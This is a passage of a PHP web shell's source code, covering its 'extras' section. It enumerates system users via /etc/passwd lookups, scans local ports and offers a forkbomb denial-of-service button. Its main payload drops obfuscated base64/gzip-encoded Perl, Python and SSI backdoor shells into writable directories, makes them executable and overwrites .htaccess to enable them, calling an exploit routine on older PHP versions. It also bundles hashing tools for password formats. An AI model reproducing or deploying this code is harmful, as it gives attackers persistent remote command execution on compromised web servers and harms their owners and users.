1713 if (function_enabled('php_uname')) {
1714 echo "php_uname: ".wordwrap(php_uname(),90,"<br>",1)."<br>";
1715 }
1716 if (function_enabled('posix_uname')) {
1717 echo "posix_uname: ";
1718 foreach(posix_uname() AS $key=>$value) {
1719 print $value." ";
1720 }
1721 echo "<br>";
1722 }
1723 echo "script owner: ";
1724 if (function_enabled('get_current_user')) {
1725 echo get_current_user();
1726 } else {
1727 echo "get_current_user() disabled!";
1728 }
1729 if (function_enabled('getmyuid')) {
1730 echo " || uid: ".getmyuid().",";
1731 } else {
1732 echo " getmyuid() disabled,";
1733 }
1734 if (function_enabled('getmygid')) {
1735 echo " gid: ".getmygid();
1736 } else {
1737 echo " getmygid disabled";
1738 }
1739 if (extension_loaded('posix')) {
1740 echo "<br>current user:";
1741 if (function_enabled('posix_getuid')) {
1742 if (function_enabled('posix_getpwuid')) {
1743 $processUser = posix_getpwuid(posix_getuid());
1744 echo $processUser['name'];
1745 } else {
1746 echo " posix_getpwuid() disabled!";
1747 }
1748 echo " || uid: ".posix_getuid().",";
1749 if (function_enabled('posix_getgid')) {
1750 echo " gid: ".posix_getgid();
1751 } else {
1752 echo " posix_getgid() disabled";
1753 }
1754 } else {
1755 echo " posix_getuid() disabled!";
1756 }
1757 echo "<br>effective user:";
1758 if (function_enabled('posix_geteuid')) {
1759 if (function_enabled('posix_getpwuid')) {
1760 $processUser = posix_getpwuid(posix_getuid());
1761 echo $processUser['name'];
1762 } else {
1763 echo " posix_getpwuid() disabled!";
1764 }
1765 echo " || euid: ".posix_geteuid();
1766 if (function_enabled('posix_getegid')) {
1767 echo " egid: ".posix_getegid();
1768 } else {
1769 echo ", posix_getegid() disabled";
1770 }
1771 } else {
1772 echo " posix_geteuid() disabled!";
1773 }
1774 } else {
1775 echo "<br>posix.so not loaded, can't get user information";
1776 }
1777 echo "</div><br><br>";
1778 echo '<font color="blue">---> Extraz</font><br><br>';
1779 if (!function_enabled('phpinfo')) { echo "fail, phpinfo() is disabled<br><br>";
1780 } else {
1781 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="pi"><input type="submit" value="phpinfo()"></form><br>';
1782 }
1783 if(function_enabled('posix_getpwuid')) {
1784 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"read" /etc/passwd from uid <input name="uid1" type="text" size="10" value="0"> to <input name="uid2" type="text" size="10" value="1000"> <input type="submit" value="go"><input name="uidz" type="hidden" value="done"></form><input name="p" type="hidden" value="e">';
1785 if (!empty($_POST["uidz"])) {
1786 echo "<br>";
1787 //code by oRb
1788 for(;$_POST['uid1'] <= $_POST['uid2'];$_POST['uid1']++) {
1789 $uid = @posix_getpwuid($_POST['uid1']);
1790 if ($uid)
1791 echo join(':',$uid)."<br>\n";
1792 }
1793 }
1794 }
1795 echo "<br>";
1796 if(function_enabled('fsockopen')) {
1797 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"scan" local open ports from <input name="port1" type="text" size="5" maxlength="5" value="1"> to <input name="port2" type="text" size="5" maxlength="5" value="1337"> <input type="submit" value="go"><input name="portz" type="hidden" value="done"><input name="p" type="hidden" value="e"></form>';
1798 if (!empty($_POST["portz"])) {
1799 for($i=$_POST["port1"]; $i <= $_POST["port2"]; $i++)
1800 {
1801 $fp=@fsockopen("127.0.0.1", $i, $errno, $errstr, 1);
1802 if ($fp) {
1803 echo "-> ".$i."<br>";
1804 fclose($fp);
1805 }
1806 }
1807 }
1808 }
1809 echo '<br><a href="#" onclick="showTooltip(5)" id="link5"> >> minishells help << </a>
1810 <div id="5" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1811 echo 'sometimes CGI and SSI are not disabled globally on the server, so you could use CGI or SSI shell. but to enable CGI/SSI you need to use special .htaccess files.<br>CGI:<br><textarea cols="44" rows="2">'.$htaccesses['cgi'].'</textarea><br><br>SSI:<br><textarea cols="44" rows="4">'.$htaccesses["ssi"].'</textarea><br><br><b>warning:</b> using custom .htaccess could break this site! (it could result in error 500). <br>it is recommended to create new dir and place custom .htaccess and minishells there.<br><br>//thanks to profexer for SSI shell and to Michael Foord for python shell</div>';
1812 if (file_exists(".htaccess")) {
1813 echo '<br>WARNING: my .htaccess will <b>rewrite</b> current one!';
1814 }
1815 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini perl shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.pl"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="perlsh"><input name="p" type="hidden" value="e"> ';
1816 if (is_writable("./")) {
1817 echo "<font color=\"green\">(./ writable)</font>";
1818 } else {
1819 echo "<font color=\"red\">(./ readonly)</font>";
1820 }
1821 echo '</form>';
1822 if ($failflag=="1") {
1823 echo "can't find perl binary (all system functions disabled) assuming /usr/bin/perl<br>";
1824 }
1825 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini python shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.py"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="pysh"><input name="p" type="hidden" value="e"> ';
1826 if (is_writable("./")) {
1827 echo "<font color=\"green\">(./ writable)</font>";
1828 } else {
1829 echo "<font color=\"red\">(./ readonly)</font>";
1830 }
1831 echo '</form>';
1832 if ($failflag=="1") {
1833 echo "can't find python binary (all system functions disabled) assuming /usr/bin/python<br>";
1834 }
1835 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini SSI shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="index.shtml"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="ssish"><input name="p" type="hidden" value="e"> ';
1836 if (is_writable("./")) {
1837 echo "<font color=\"green\">(./ writable)</font>";
1838 } else {
1839 echo "<font color=\"red\">(./ readonly)</font>";
1840 }
1841 echo '</form>';
1842 echo '<br>';
1843 //code by Eric A. Meyer, license CC BY-SA
1844 echo '<script type="text/javascript">function encode() { var obj = document.getElementById("dencoder"); var unencoded = obj.value; obj.value = encodeURIComponent(unencoded); } function decode() { var obj = document.getElementById("dencoder"); var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g, " ")); } </script>';
1845 echo "<font color='blue'>---> Text encoderz/decoderz</font><br><br>";
1846 echo "fast URL-encoder:<br>";
1847 echo '<form onsubmit="return false;" action="javascript;"><textarea cols="80" rows="4" id="dencoder"></textarea><div><input type="button" onclick="decode()" value="Decode"> <input type="button" onclick="encode()" value="Encode"></div></form>';
1848 echo "<br>other encoders: ";
1849 $cryptform="<form action=\"".$_SERVER['PHP_SELF']."\" method=\"post\">
1850 <input name=\"p\" type=\"hidden\" value=\"e\">
1851 <textarea name=\"text\" cols=\"80\" rows=\"4\">";
1852 if(isset($_POST["text"])) {
1853 $cryptform.=$_POST["text"];
1854 $hash=$_POST['hash'];
1855 $hash1=$_POST['hash1'];
1856 $hash2=$_POST['hash2'];
1857 } else {
1858 $hash=genSalt('zxcv',8);
1859 $hash1=genSalt('zxcv',8);
1860 $hash2=genSalt('zxcv',6,1);
1861 }
1862 $cryptform.="</textarea><br>
1863 <select name=\"cryptmethod\">
1864 <option value=\"asc2hex\"".($_POST["cryptmethod"] == "asc2hex"?" selected":"").">ASCII to Hex</option>
1865 <option value=\"hex2asc\"".($_POST["cryptmethod"] == "hex2asc"?" selected":"").">Hex to ASCII</option>
1866 <option value=\"b64enc\"".($_POST["cryptmethod"] == "b64enc"?" selected":"").">Base64 Encode</option>
1867 <option value=\"b64dec\"".($_POST["cryptmethod"] == "b64dec"?" selected":"").">Base64 Decode</option>
1868 <option value=\"crypt\"".($_POST["cryptmethod"] == "crypt"?" selected":"").">DES</option>
1869 <option value=\"entityenc\"".($_POST["cryptmethod"] == "entityenc"?" selected":"").">HTML Entities Encode</option>
1870 <option value=\"entitydec\"".($_POST["cryptmethod"] == "entitydec"?" selected":"").">HTML Entities Decode</option>
1871 <option value=\"md5\"".($_POST["cryptmethod"] == "md5"?" selected":"").">MD5</option>
1872 <option value=\"md5md5\"".($_POST["cryptmethod"] == "md5md5"?" selected":"").">MD5(MD5)</option>
1873 <option value=\"md5unix\"".($_POST["cryptmethod"] == "md5unix"?" selected":"").">MD5(Unix - \$1\$)</option>
1874 <option value=\"md5wp\"".($_POST["cryptmethod"] == "md5wp"?" selected":"").">MD5(WordPress - \$P\$B)</option>
1875 <option value=\"md5bb\"".($_POST["cryptmethod"] == "md5bb"?" selected":"").">MD5(PHPBB3 - \$H\$9)</option>
1876 <option value=\"md5apr\"".($_POST["cryptmethod"] == "md5apr"?" selected":"").">MD5(APR1 - \$apr1\$)</option>
1877 <option value=\"blowfish\"".($_POST["cryptmethod"] == "blowfish"?" selected":"").">Blowfish - \$2a\$</option>
1878 <option value=\"sha1\"".($_POST["cryptmethod"] == "sha1"?" selected":"").">SHA1</option>
1879 <option value=\"sha256\"".($_POST["cryptmethod"] == "sha256"?" selected":"").">SHA256 - \$5\$</option>
1880 <option value=\"sha512\"".($_POST["cryptmethod"] == "sha512"?" selected":"").">SHA512 - \$6\$</option>
1881 <option value=\"mysql4\"".($_POST["cryptmethod"] == "mysql4"?" selected":"").">MySQL4</option>
1882 <option value=\"mysql5\"".($_POST["cryptmethod"] == "mysql5"?" selected":"").">MySQL5</option>
1883 </select> salt: <input type=\"text\" name=\"hash\" size=\"9\" maxlength=\"8\" value=\"".$hash."\"> <input type=\"text\" name=\"hash1\" size=\"9\" maxlength=\"8\" value=\"".$hash1."\"> <input type=\"text\" name=\"hash2\" size=\"7\" maxlength=\"6\" value=\"".$hash2."\"> <font color=\"gray\">(salt needed for: md5(unix,wordpress,phpbb3,apr1) - 8 symbols, sha(256,512) - 16 symbols, and blowfish - 22 symbols. ignore these fields if you use other algorithms)</font><br>
1884 <input type=\"submit\" name=\"crypt\" value=\"go\">
1885 </form>";
1886 echo $cryptform;
1887 if(isset($_POST['crypt'])) {
1888 $text=$_POST['text'];
1889 if($text == '') {
1890 die("<p>empty form</p>\n".$pageend."");
1891 }
1892 $hash=$_POST['hash'];
1893 $hash1=$_POST['hash1'];
1894 $hash2=$_POST['hash2'];
1895 echo("--><br><textarea cols=\"80\" rows=\"4\">");
1896 switch ($_POST['cryptmethod']) {
1897 case "asc2hex":
1898 $text=asc2hex($text);
1899 break;
1900 case "hex2asc":
1901 $text=hex2asc($text);
1902 break;
1903 case 'b64enc':
1904 $text=base64_encode($text);
1905 break;
1906 case 'b64dec':
1907 $text=base64_decode($text);
1908 break;
1909 case 'crypt':
1910 $text=crypt($text,'CRYPT_STD_DES');
1911 break;
1912 case 'entityenc':
1913 $text=entityenc($text);
1914 break;
1915 case 'entitydec':
1916 $text=entitydec($text);
1917 break;
1918 case 'md5':
1919 $text=md5($text);
1920 break;
1921 case 'md5md5':
1922 $text=md5(md5($text));
1923 break;
1924 case 'md5unix':
1925 $text=unap($text,$hash,'$1$');
1926 break;
1927 case 'md5wp':
1928 $text=phpass($text,$hash,8192,'$P$B');
1929 break;
1930 case 'md5bb':
1931 $text=phpass($text,$hash,2048,'$H$9');
1932 break;
1933 case 'md5apr':
1934 $text=unap($text,$hash,'$apr1$');
1935 break;
1936 case 'sha1':
1937 $text=sha1($text);
1938 break;
1939 case 'sha256':
1940 $text=crypt($text,'$5$'.$hash.$hash1);
1941 break;
1942 case 'sha512':
1943 $text=crypt($text,'$6$'.$hash.$hash1);
1944 break;
1945 case 'blowfish':
1946 $text=crypt($text,'$2a$07$'.$hash.$hash1.$hash2);
1947 break;
1948 case 'mysql4':
1949 $text=mysql4($text);
1950 break;
1951 case 'mysql5':
1952 $text='*'.strtoupper(sha1(sha1($text,TRUE)));
1953 break;
1954 }
1955 $text=htmlentities($text);
1956 echo("$text</textarea><br>");
1957 }
1958 //decoders end
1959 echo '<br><br><font color="blue">---> DoS</font><font color="gray"> //use this carefully</font><br><br>';
1960 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="e"><input name="extraz" type="hidden" value="fork"><input type="submit" value="forkbomb"></form>';
1961 echo $pageend;
1962 }
1963 if (!empty($_POST["extraz"])) {
1964 switch ($_POST["extraz"]) {
1965 case "fork":
1966 while(pcntl_fork()|1);
1967 break;
1968 case "pysh":
1969 //code by Michael Foord & 12309, license WTFPL
1970 if ($failflag=="1") {
1971 $pybin="/usr/bin/python";
1972 } else {
1973 $pybin=search("python",$failflag);
1974 }
1975 $pyshcode='#!'.$pybin;
1976 $pyshcode.="\n";
1977 $pyshcode.=gzinflate(base64_decode("bVRRT9swEH7Pr7jlpa0IKWObtLGmUoEClWBFbR82QRW5idNaS+LIdqBl2n/fnZ10BfGU3N33fXc+n8+o3ZkHoqikMpCshVl9d5+Ql2yV827P49uEVwZRFdPaa6B6pwMCBiC1h0aoTcqVgggaQ9bGy5QswIiCtwm0URnZrYpRLOErlvx20LlRolxPpi28tRuhFtyGK4yaGMvzRIZlYMVPQsky3DAd/+a7rj+/mE3uF/GP0d3Y7+EBdKJEZUqGBUUHhIdXwKXHc83fon3fS3kGa24yqYruE8trngttAjAbTq4ASmkqxTUvTdTpULqUGYbUP389QARkgucpiBL2ZMQAlo7EVmVfuwWTCFiZB2svUe1/Fow1lVoVMLuKdxudBt+DD5HzPyyd2Bu11/DQVkawvbArViO0YFU3Z8UqZbA9g63DBm8Ueu/kcAoeKG5qVdqg17A2nKW2uf7gZnF3OxzcjEeXw8FisrgdD9ELR4e3cERAOAYGF9cTWO3gqn552RWsDKCuUJan5Px4+unk26DvNAZ9p3g+vfxFgt5KpjteUtLOoG+9CKHUHQ/HF0viWtvg+XAuC242OIDwjN2GZ5yUNXJQbDYc3M/GSMG2xzHVFscQISuOCybKOO7Qa6HpBP9Clgbpx3QLZ2D41vQ3psj9BmBHo8CM+JbCK2rZ3EjF1vTw2gFqh+6hkxRpZxmQgVHsIdoYt+12sTbtQX+91mgafTWd3cHdeHEzvYwe/fvpfPHoA0uMkGX0fsuHA1FWtQHyIAUTIYPOgwYdCC0tXsj6fPLou/44RgPS9aoQBLOjgI5r2eL6VI69mdeVezTS7oQ0hy5Gt9IJGndgb9CpLMY/F6PZeASJzHXkfz3xQcln/Dv94uM14duwaw4g2Yg8jXE9CRyavYG7yi2ESla8PO26BL03hDDJpbb3AjjLus6JdKgRKmx39zWN3Ac8dw7HpvdrVyuM7QcvIAD36hxsP5DkyjBZuw8PtGj94bLIeZRZJ81LFuLE2FZ3e6GucmFyUXLtWLSJyKRFxNwTd9nIedDpfttT6p9zNm/H+wc="));
1978 $htaccess=$htaccesses['cgi'];
1979 if (strnatcmp(version(),"5.2.9") <= 0) {
1980 sploent516();
1981 }
1982 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1983 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1984 else {
1985 fwrite($fh,$pyshcode);
1986 fclose($fh);
1987 echo $_POST["file"]." write done, chmoding..<br>";
1988 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
1989 if (!$ch) {
1990 echo "chmod failed, make chmod 755 manually<br>";
1991 } else {
1992 echo "chmod done<br>";
1993 }
1994 if ($_POST["htaccess"] == "on") {
1995 $fh=fopen($_POST["dir"]."/.htaccess","w");
1996 fwrite($fh,$htaccess);
1997 fclose($fh);
1998 echo "htaccess done";
1999 }
2000 }
2001 break;
2002 case "perlsh":
2003 //author/license unknown
2004 if ($failflag=="1") {
2005 $perlbin="/usr/bin/perl";
2006 } else {
2007 $perlbin=search("perl",$failflag);
2008 }
2009 $perlshcode='#!'.$perlbin;
2010 $perlshcode.="\n";
2011 $perlshcode.=gzinflate(base64_decode("TVFLTwIxEL73V4wNMSXZFdSYGBY2QQ7E+DioRxKtu7PSpNuubRdQ5L87XYR4m3bme8w3rUeYzW/hcz1IjX3dLEOtYeSDNKV05SBj7X5gNJpJ19CYqGSQ2r/YG2fXHl0/Y41TJsASZYlOpMVSOo8BJjnwNlTpNe8njAhdeI3kItXSfHRd1/IE0qCCxu7NiUtVIKCRTtaiD33YsvoLeiuY/P3xFT8K9lYJ8PG7yxeGZ91cUDXalqThcpgxbQupofd8O99O758edvTt23fYQqEtLXU3fTwwcSCCUiHwPwaewS5jvUaVBLINGkHTpEZOLvLTc/iJLjpAIc0bWTk5IxPQGo3eg4hAGsAV6W+Z1NLV4mDuaL+zPg64oWhQQmG1nyz49XDBISZL9cXVgufkbL1UGgWMyUMeM4GOgCwemQYHmjySEmSvOSSxf8vu2AGxP0dlXZ2wCK0U6lKkRtY4ySljOotX31RTkFTTHi3uL5TEDGsVBJ/beFg0ZUcDVHT3pbU31I7Svw=="));
2012 $htaccess=$htaccesses['cgi'];
2013 if (strnatcmp(version(),"5.2.9") <= 0) {
2014 sploent516();
2015 }
2016 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
2017 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
2018 else {
2019 fwrite($fh,$perlshcode);
2020 fclose($fh);
2021 echo $_POST["file"]." write done, chmoding..<br>";
2022 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
2023 if (!$ch) {
2024 echo "chmod failed, make chmod 755 manually<br>";
2025 } else {
2026 echo "chmod done<br>";
2027 }
2028 if ($_POST["htaccess"] == "on") {
2029 $fh=fopen($_POST["dir"]."/.htaccess","w");
2030 fwrite($fh,$htaccess);
2031 fclose($fh);
2032 echo "htaccess done";
2033 }
2034 }
2035 break;
2036 case "ssish":
2037 // code by profexer
2038 $ssishcode=gzinflate(base64_decode("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"));
2039 $htaccess=$htaccesses['ssi'];
2040 if (strnatcmp(version(),"5.2.9") <= 0) {
2041 sploent516();
2042 }
2043 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
2044 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
2045 else {
2046 fwrite($fh,$ssishcode);
2047 fclose($fh);
2048 echo $_POST["file"]." write done<br>";
2049 if ($_POST["htaccess"] == "on") {
2050 $fh=fopen($_POST["dir"]."/.htaccess","w");
2051 fwrite($fh,$htaccess);
2052 fclose($fh);
2053 echo "htaccess done";
2054 }
2055 }
2056 break;
2057 }
2058 }
2059 break;
2060// extras end ###
2061 case "pi":
2062 phpinfo();
2063 break;
2064}
2065// :)
2066?>